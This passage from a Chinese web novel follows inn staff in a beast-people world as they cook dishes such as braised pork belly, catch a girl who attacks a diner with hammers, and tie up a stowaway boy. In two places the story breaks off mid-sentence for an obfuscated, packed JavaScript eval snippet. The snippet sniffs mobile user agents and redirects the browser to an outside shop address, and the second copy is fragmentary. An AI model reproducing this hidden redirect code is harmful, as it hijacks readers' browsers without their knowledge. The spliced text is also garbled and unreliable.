那姑娘眼睛直勾勾地盯着，也顾不上烫，一手抓起一个，左一口右一口，毫无形象地狼吞虎咽起来，腮帮子塞得鼓鼓囊囊。 瞧着她这跟八辈子没吃过饭似的凶猛吃相，简菡心里的那点不快也散了，贴心地给她盛了碗海带蛋花汤，递过去。 “慢点吃，喝口汤顺顺。” “谢谢。”那姑娘满嘴花卷，说话含含糊糊。 她手上还攥着吃了大半的花卷，空着的那只手倒是利索，捧着碗边就从简菡手上把汤接了过去。 然而，她的目光落在汤碗里，只一眼，脸上的急切和笑意就肉眼可见地散了不少，甚至几不可察地蹙了下眉。 “请问……有水吗？”她放下汤碗，声音比刚才小了些。 “有。”雪翎还以为她有什么忌口，在桌子下安抚地拍了拍简菡的腿，主动起身给她倒了一杯清茶来。 “多谢。” 这次，那姑娘没拒绝，接过茶杯，直接一饮而尽。 简菡默默咬了口大家特意留给她的最后一个扒鸡鸡腿，肉质依旧酥香入味，但她心里那点因为对方嫌弃海带汤而升起的小疙瘩，让她从那姑娘身上收回了目光。 本来还想着看她可怜，分她一个鸡腿呢，就这态度？ 算了，自己吃都不够呢，分什么分啊！ 46. 脱脂把子肉 花卷都被她狼吞虎咽地吃完后，雪翎好心给她递了个牛肉圆葱的大包子。 她摆摆手，拼命拒绝了，眼神甚至带着点抗拒。就连那香气诱人的扒鸡，她也只是瞥了一眼，并无兴趣。 简菡看了她一眼，默默将桌上剩余的吃食往厨房收拾。只在心里嘀咕着，这姑娘也太挑食了吧。 下午，汪仙楼还的众人都想继续补觉，可这姑娘也不说住店，却也没有要走的意思，就那么干坐在大堂，使得“宿舍”就在大堂的汪屿和墨无咎有些为难。 毕竟她一直不走，他们根本没法睡。 简菡去厨房还没回来，墨无咎把雪翎拉到一个隐蔽的角落，脸上难得露出几分恳求：“姑奶奶，想想办法，请她走吧。” 一个姑娘家的，他实在不擅长应付这种场面。 雪翎没受住这难得一见的“美猫计”诱惑，硬着头皮走了过去。 “姑娘，不知你家住何处？可要住店？” 那姑娘闻言，低头捏了下自己那个看起来干瘪瘪的荷包，随后抬起头，对雪翎干巴巴地笑了笑，带着点讨好：“姐姐，你们这儿……招人吗？我什么都能干！” 雪翎没说话，径直将目光投向汪屿。 那姑娘正要顺着她的视线瞧过去，雪翎立马斩钉截铁地吐出两个字，断了她的念想：“不招。” 已经得到了如此明确的拒绝，可这姑娘还是不死心。 她伸手拉住雪翎的袖子，小幅度地晃了起来，语气带上了哀求：“求求你了，姐姐，我是外地人，现在钱都花完了，只能找个地方做工糊口。你要是不收留我，我……我就要无家可归，流落街头了。” 这话，雪翎听着总觉得哪里怪怪的，透着一股说不出的别扭，可没等她细琢磨，简菡从厨房折返回来，突然开了口，目光审视地看着那姑娘：“你可有证明身份的路引或文书？” “没有。”那姑娘沮丧地摇了摇头，眼神有些闪烁。 简菡蹙眉，在她身上仔细打量了一下。 她自己是因为空难才莫名来到了这个兽人世界，来的时候身上还穿着现代的衣物。可眼前这姑娘，穿得的的确确是这个世界、这个时代的服饰，虽然料子普通，但款式无误。 如果她也是“老乡”，要么她来得早，已热融入；要么……就是个深度汉服爱好者？ 一时间，简菡有些拿不准主意。 “出门往东走半里路，再右拐，见到王记绸缎庄后顺着它门前的梨树进到巷子里，那有家慈善堂，或可收留你几日。”汪屿冷冰冰的声音传来，眼神里明明白白写着“拒绝”两个大字。 话已至此，饶是这姑娘脸皮再厚，也不好意思再赖着不走了。 她讪讪地站起身，一步三回头地挪出了汪仙楼的大门。 简菡看着她那略显单薄的背影消失在街角，若有所思。 ========== “客官，您的江湖水煮鱼、干煸肥肠、鱼香茄条和米饭，菜已上齐，您慢用。” 汪屿端着托盘，熟练地上完菜，刚要回后院厨房，忽然听见邻近一桌两位客人的谈话。 “点不点把子肉啊？光这些素的，吃着不过瘾啊！” “你敢点？没听说镇西头的马老头，就因为早上吃了个肉包子，就被一个不知道哪里冒出来的煞星拳打脚踢，现在还在床上嘴歪眼斜地躺着呢？说是见不得人吃肉！” 汪屿闻言蹙了下眉，还有这事？ 他怕影响生意，没立马去厨房端下一桌的菜，而是走到那桌旁，语气平稳却带着让人安心的力量：“二位客官放心，在汪仙楼用餐，本店必定会保护每位食客的用餐安全，绝不会让闲杂人等惊扰了诸位。” 那俩人闻言对视一眼，似乎被汪屿的态度鼓舞，一咬牙一跺脚：“点！来一份脱脂把子肉！” 脱脂把子肉的做法颇为讲究。 需选用肥瘦相间、层次分明的带皮猪五花肉，切成手掌长短、一指厚的大片，先用清水浸泡，逼出部分血水和油脂。然后入锅焯水，捞出后用细绳捆扎紧实，防止炖煮时散开。 接着便是关键一步——煸炒。将捆好的肉块放入锅中，小火慢煸，通体煎至金黄，通出内部多余的油脂，这便是“脱脂”的由来，既能去除油腻，又使肉皮紧实Q弹。 煸出的猪油留作他用，肉块则转入砂锅，加入葱、姜、八角、桂皮等香料，再倒入适量的酱油、料酒和少许糖色，注入高汤，大火烧开，转小火慢炖，直至肉质酥烂入味，肥而不腻，瘦而不柴，色泽红亮诱人。 “汪屿，上菜！”后厨传来简菡的喊声。 刚出锅的把子肉还冒着腾腾的热气，被汪屿稳稳地端了上来。 红润油亮的色泽、扑鼻而来的浓郁肉香，瞬间就抓住了食客的注意力。 肉炖得极其到位，筷子轻轻一夹便能感受到它的软糯。 送入口中，首先感受到的是肉皮那充满胶质的弹糯，紧接着是肥肉部分已然化开的丰腴油润，丝毫不觉肥腻，最后是瘦肉丝的酥烂入味，咸鲜的酱香在口中弥漫，伴随着米饭，简直是绝配。 客人满足地眯起了眼，大口扒着米饭，吃得额头微微冒汗，连连称赞。 “掌柜的，劳烦来壶桂花醉。”另一桌的客人扬声喊道。 “您稍等，马上来。”汪屿应了一声，拎着空托盘去给客人打酒，楼梯恰好将他的身形几乎完全遮盖住。 就在这时，门口，一个鬼鬼祟祟的脑袋瞧瞧从半掩的门板后探了进来。 那人张望了一圈，确认目标人物似乎没在视线内后，猛地窜了进来，径直冲向正在大嚼把子肉的那一桌。 眨眼睛，他手上就多了两个看起来分量极重的鎏金巨锤，铆足了力气就要往那吃得正香的客人头上砸去！ 说时迟那时快，汪屿将手边的托盘猛地掷了出去，动作又快又准，正好砸在了黑衣人的手臂上，使得他吃痛之下动作一滞。 随后，汪屿身影一闪，如同鬼魅般出现在桌边，稳稳地接住了即将落下的双锤，眼中寒光乍现，低喝道：“什么人！敢来汪仙楼闹事！” 穆阳带着两个捕快恰巧巡街路过汪仙楼附近，本想着来还昨日蹭饭的碗，在门口就听见汪屿这声怒喊，心道不好，一个箭步就冲了进来。 “谁？谁在闹事？” 他冷眼一扫，立刻瞧见地上捂着胳膊的黑衣人，以及汪屿手上那对显眼的鎏金巨锤。 穆阳“唰”地拔出腰刀，冲过来，刀尖直抵黑衣人的脖颈，厉声道：“光天化日，持械行凶？好大的胆子！” 他身后的两个捕快也赶紧上前，用枷锁将黑衣人牢牢禁锢住，又从汪屿手里接过了那对作为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16724787|187362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凶器的巨锤。 穆阳看了眼满屋被惊动、面带惧色的食客，象征性地安抚了几句：“诸位受惊了，歹人已被擒获，大家继续用餐，无事，无事！” 众人都看着，他怕影响不好，连怀里揣着的碗都没敢当面拿出来还，赶紧示意手下将人犯押走，自己也匆匆跟了出去。 晚上，汪仙楼众人围坐一桌，正准备吃晚饭，穆阳带着两个捕快走了进来。 “呦，吃着呢？” 他目光直勾勾地看向大伙手里的饭碗，鼻子不自觉地嗅了嗅。 深褐色的把子肉大片地铺在莹白的米饭上，红亮的肉汁缓缓渗透下去，将部分米饭染上了诱人的酱色。 桌上搭配着一些简菡顺手炒的清爽小菜，用来解腻。 肉香、饭香、酱香混合在一起，让人垂涎欲滴。 “来点？” 简菡故意将自已那碗堆得尖尖的盖饭捧起来，朝他面前送了送，香气直往他鼻子里钻。引得穆阳喉结上下滚动，狠狠吞了下口水。 “先……先不了。”他艰难地摆摆手，正色道，“我是带着公事来的。” “带进来！” 话音刚落，候在门外的两个捕快便将带着沉重木枷的黑衣人推了进来。 那人低垂着头，头发散乱。 汪屿和墨无咎只一眼就认出这身形和衣物，正是下午持锤行凶的那个！ 如今没了面罩遮掩，面容完完全全暴露在灯光下，赫然就是那个饿晕被他们捡回来的姑娘！ 简菡和雪翎下午一直在后厨忙，并未亲眼见到行凶一幕，但刚刚闲聊，听汪屿和墨无咎你一言我一语，也了解了个大概。 简菡略一思索，便将这行凶者的身份与下午那个举止古怪的姑娘对上了号。 她带着之前心底埋下的狐疑种子，走到那姑娘面前，紧紧盯着她的眼睛，试探性地、清晰地问了一句：“宫廷玉液酒？” 说完，她紧紧盯着那姑娘的面容，不放过任何一丝细微的变化。 然而，对方脸上平静得没有一丝激动或共鸣，甚至，在听到这突兀的问句后，眼中还流露出明显的费解和茫然，仿佛在听天书。 简菡不死心，难道是暗号不对？ 她又压低声音，补了一句在学生间流传更广的：“奇变偶不变？” 还是没有反应。 那姑娘只是更加困惑地看着她，似乎觉得她是个傻子。 简菡这下是彻底地明白了。不是老乡。 心底那点微弱的希望小火苗“噗”地熄灭了，她冷冰冰地说完“不认识”，就自顾自地坐回座位，拿起筷子吃着她的把子肉盖饭。 穆阳瞟了脸色不虞的简菡一眼，转向汪屿，公事公办地问：“汪掌柜，你们真不认识此人？” 汪屿点点头，也起了筷子，语气平淡无波：“大人明鉴。那日去码头送贵客，她晕倒在我们牛车前，我们一时好心带她回来，让她吃了顿饱饭，问明情况后便让她离开了。除此之外，再无瓜葛。” 有了汪仙楼众人这番话，穆阳也算是放心了。 “行，情况我了解了。你们吃着，这人犯我们就先带回去审问了。” 他一挥手，捕快便将那姑娘拖了出去。 汪仙楼的众人纷纷跟穆阳告别后，便没再把这事放在心上，继续吃着饭。 47. 辣鸡爪年糕宽粉 新鲜的花蛤去除泥沙最快的手段就是往水里加些芥末，能逼得它们疯狂吐沙。 简菡把蛤蜊处理完，便继续去忙活手头上的其他工作，准备着客栈众人的早餐。 肥瘦相间的猪肉剁成细腻的肉糜，加入葱姜水、少许酱油、盐和一点点糖提鲜，顺着一个方向搅打上劲。另一边，面粉加水调和成面糊。 平底锅烧热，刷上薄薄一层油，倒入面糊后握着把手，手腕用力，使得面糊均匀地铺满整个平底锅。等面糊定型后，往锅里加入几颗鸡蛋，不需要提前搅散，只需要用外力摇晃令它们同样铺满。 鸡蛋清和鸡蛋黄呈半凝固状态后，往里铺上一层肉馅。就这样，按照面糊→蛋→肉馅→蛋→面糊的顺序，重复操作。 “咳咳咳！” 一阵被极力压抑却依旧剧烈的咳嗽声突然在安静的厨房里响起。 简菡还以为是客栈里哪个家伙溜进来偷嘴被呛到了，谁料一转身，一张完全陌生的少年面孔就立在厨房中央，正捂着鼻子和嘴，脸都咳红了。 “啊！” 简菡吓得尖叫着连退了好几步，差点撞到身后的灶台。 这声尖叫将客栈的其他人吸引了过来。 雪翎反应最快，一个箭步窜进来，赶紧将简菡护在身后，猫耳竖起，尾巴警惕地炸开，盯着那不速之客。 汪屿和墨无咎也紧随其后，堵住了厨房门口。 那少年看起来约莫十五六岁的样子，身形纤细，穿着一身略显宽大的靛蓝色粗布短打，似乎是常见的渔家打扮。 但他那头黑发极为醒目，发间还缀着好些小巧玲珑、颜色各异的贝壳，被编成了几缕细碎的小辫子，随着他咳嗽的动作轻轻晃动。 他五官清秀，皮肤很白，此刻一双微微上挑的眼睛因为呛咳而泛着水光，眼神里带着惊慌。 简菡看着他头顶的膏体有些眼熟，看着…… 好像她刚才挤的芥末？ “你是谁？” 汪屿上下打量着他，目光满是防备。 那少年眼珠子滴溜溜地转，看看这个，又瞥瞥那个，嘴唇抿得紧紧的，但就是不吭声，一副“打死我也不说”的架势。 汪屿眉头紧锁，正要向前朝他靠近，肩膀忽然被一只骨节分明的手按住。 “我来。”墨无咎贴着汪屿的耳边低声说道。 简菡生怕盆里再蹦出个人来，拉着雪翎在厨房里陪她。 白萝卜擦成细丝，放入清水中稍微浸泡，去除一部分辛辣味。 剩余的猪肉馅用手虎口挤出大小均匀的肉丸，轻轻滑入水中。待丸子全部浮起，撇去浮沫，放入沥干水分的萝卜丝，煮至萝卜丝变软透明，丸子熟透。 最后调入适量的盐和几滴香油，撒上切碎的香菜末。 菜都齐了，简菡和雪翎端着热气腾腾的肉蛋饼和萝卜丝丸子汤朝外走。 “嚯！” 一进大堂，简菡就被眼前的景象逗得哈哈大笑起来。 那个少年，双手从楼梯的空隙伸出来，用厚厚的麻绳缠了一圈又一圈，牢牢地拴在了楼梯上。他身上也跟粽子似的，连双脚也被绑在了一起。 少年听到笑声，恶狠狠地瞪了简菡一眼，脸颊气鼓鼓的。 “不好意思啊！”简菡抿着嘴，尽量忍住笑意，可肩膀却控制不住地抖动。 秋意渐浓，早上已经凉得厉害。 一口肉蛋饼，一口热汤，食物顺着食道滑到胃里，那暖意立刻就在全身蔓延开来，驱散了所有的寒意，让人从里到外都舒坦起来。 肉蛋饼的表皮十分柔软，一口下去，蛋香和肉香混着咸咸的酱料在口腔里混合，十分开胃。 肉丸一抿就化，颗粒分明的肉粒满嘴都是肉香。萝卜丝清甜，连带着汤水都是鲜味。 简菡拿起汤勺，准备再喝口汤，忽然听见“吸溜吸溜”的动静。 谁啊！吃饭发出这么大声音！ 她在桌上巡视了一圈，也没找到制造噪音的元凶。 她重新捏住勺子，刚要喝汤，那吸溜声又响了起来。 “嘶！” 简菡放下碗，用手拍了下桌面，有些不耐烦了，“能不能好好吃饭！” 客栈的大伙不知道她怎么吃着吃着还给自己吃生气了，纷纷停下动作，看向了她。 众人无辜的眼神也没能浇灭简菡的怒火。 她刚要开口质问，就又听见了那该死的动静。 嗯？ 简菡狐疑地回头，就见那个被拴着的少年，正眼巴巴地看着他们桌上的饭菜，喉结不停地上下滚动，跟她对视的那一刹那，吸溜声立马响起。 简菡脸上忽地染上了一丝笑意。 她端起自己的碗，起身走到少年面前，故意将碗在他鼻子下方仔细晃了一小圈，让那鲜香的热气直往他鼻子里钻，同时又十分注意地保持了安全距离，没让他的口水有丝毫机会污染了她的汤。 “想吃？” 简菡话音才落，少年的脑袋就像小鸡啄米似的，猛猛地点了起来，眼神亮晶晶的。 “只要说清楚，你姓甚名谁，为何出现在我们客栈的厨房，交代明白了，”简菡手指向他们的饭桌，“那一桌子好吃的，都任凭你吃。” 少年顺着简菡手指的方向看了一眼，眼神挣扎，刚要动摇，不知想到什么，忽地用力摇头。还倔强地把头偏过去，硬是不看简菡和她手里的碗。 “真是够倔的。” 简菡撇撇嘴，也懒得再跟他耗，坐回桌子上，不再管他。 怕有人像昨天那样闹事，汪屿知会了穆阳一声，让他安排了人在汪仙楼里坐镇。 早上还跟少年在一个盆子里“的花蛤，眼下全成了红艳油亮的辣炒花蛤，不偏不倚，就摆在少年背对面的楼梯下那桌客人的桌上。 辣椒、蒜蓉、豆豉爆炒出的浓烈香气，一个劲儿地往楼梯这边飘。 嗅着那辛辣鲜香的气味，一开始少年还觉得挺香，忍不住多吸了几口。 可当他听见那桌客人用筷子剥开蛤壳，吸溜着肥嫩的蛤肉，连连称赞“这花蛤炒得真够味！”“鲜辣过瘾！”时，他瞬间反应过来盘子里是什么，脸色一下子变了，又是在楼梯上挣扎扭动，又是嚎叫的。 实在挣不脱不开也扭不过身，他鼓起腮帮子，就要朝客人那边吐口水。 墨无咎注意到这边的动静，下意识就把手上的抹布丢了出去，“啪”一下正好严严实实地盖在了他脸上，杜绝了一场可能的口水雨。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16734094|187362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >怕他继续作妖，影响客人，墨无咎三两步过去，掐住他的两腮，稍微用力，迫使他张开嘴，然后将抹布塞进了他嘴里。 “呜呜！呜呜呜呜！” 麻布上味道有点杂，虾味、鱼腥味还有……酒味？混合在一起，呛得他直呕。 墨无咎把麻布塞得深，他用舌头顶了半天也没能脱困，每吸口气都是一股难以接受的味道，少年巴不得自己能两眼一翻地晕过去，好能减轻些痛苦。 晚上，客栈打烊的时候，墨无咎善心大发，主动把他嘴里的麻布取了出来。 “我艹……” 唰，麻布又塞了回去。 少年被墨无咎的这番操作惊呆了，一双眼睛瞪得溜圆。 “还骂吗？” 下意识少年的头向下动了一点点后，表示想，但没完全点下去就立马改变了方向，拼命地左右晃了晃。 “确认？” 少年连忙点头：确认，确认！ 见他老实了，墨无咎这才将麻布给他拿了出来 软糯脱骨的鸡爪染着红亮的辣油，与白白胖胖的年糕条、滑溜筋道的宽粉一同在浓稠的酱汁中炖煮，里面还加入了鱼饼。红艳艳的一大盘，看着就诱人。 鸡爪入口即化，年糕软糯吸汁，宽粉爽滑劲道。搭配着蒸得松软的白米饭和几碟清爽的腌渍小菜，客栈众人围坐一桌，吃得满头大汗，畅快淋漓。 “真不用管他？” 简菡收拾桌子的时候特意问了汪屿一嘴。 汪屿看都没朝少年看一眼，就点了点头。“嗯，不用。” 行吧，简菡瞥了一眼蔫头耷脑的少年，默默执行了掌柜的指令。 “开门！开门！” 大晚上的，汪仙楼的大门被拍得震天响。 还没等汪屿起身过去开门，在外夜巡的汪屿就被这动静吸引了过来。 “又是你？” 汪屿打开门，就瞧见捕快已经将她双臂反剪押了起来。 “老大！老大！” 楼梯上的少年透过门缝看见熟悉的脸，又喊又叫的。 老大？ 这是认识了？ 汪屿看着眼前那个恩将仇报的姑娘，忽然觉得好像有什么东西在他脑子里串联起来，只是太快，来不及抓住。 “怎么回事？”穆阳注意到了被绑在楼梯上的少年。“他就是你说的那个嫌疑犯？” “嗯。”汪屿应了一声。 “那就一块……” 带走二个字还没说出口，楼梯上的少年忽然晕了过去。 简菡被雪翎推醒的时候，一脸怒气。 大半夜的不睡觉，都闹什么啊！ 她散着头发，披了件外衣就出去了。 少年是脱水了，大夫搭过脉，只说补点淡盐水就行。 大伙只好把简菡给“请”了起来。 “你们这群畜生！草菅人命的畜生！” 简菡正窝着火呢，被那姑娘喊了一嗓子，火气歘歘歘直线飙升。 “吵什么！大夫都说他好好的，你倒是给他判了死刑！” 那姑娘又要喊叫，墨无咎直接就近，将少年嘴里取出来的抹布塞进了她嘴里。 世界，终于安静了下来。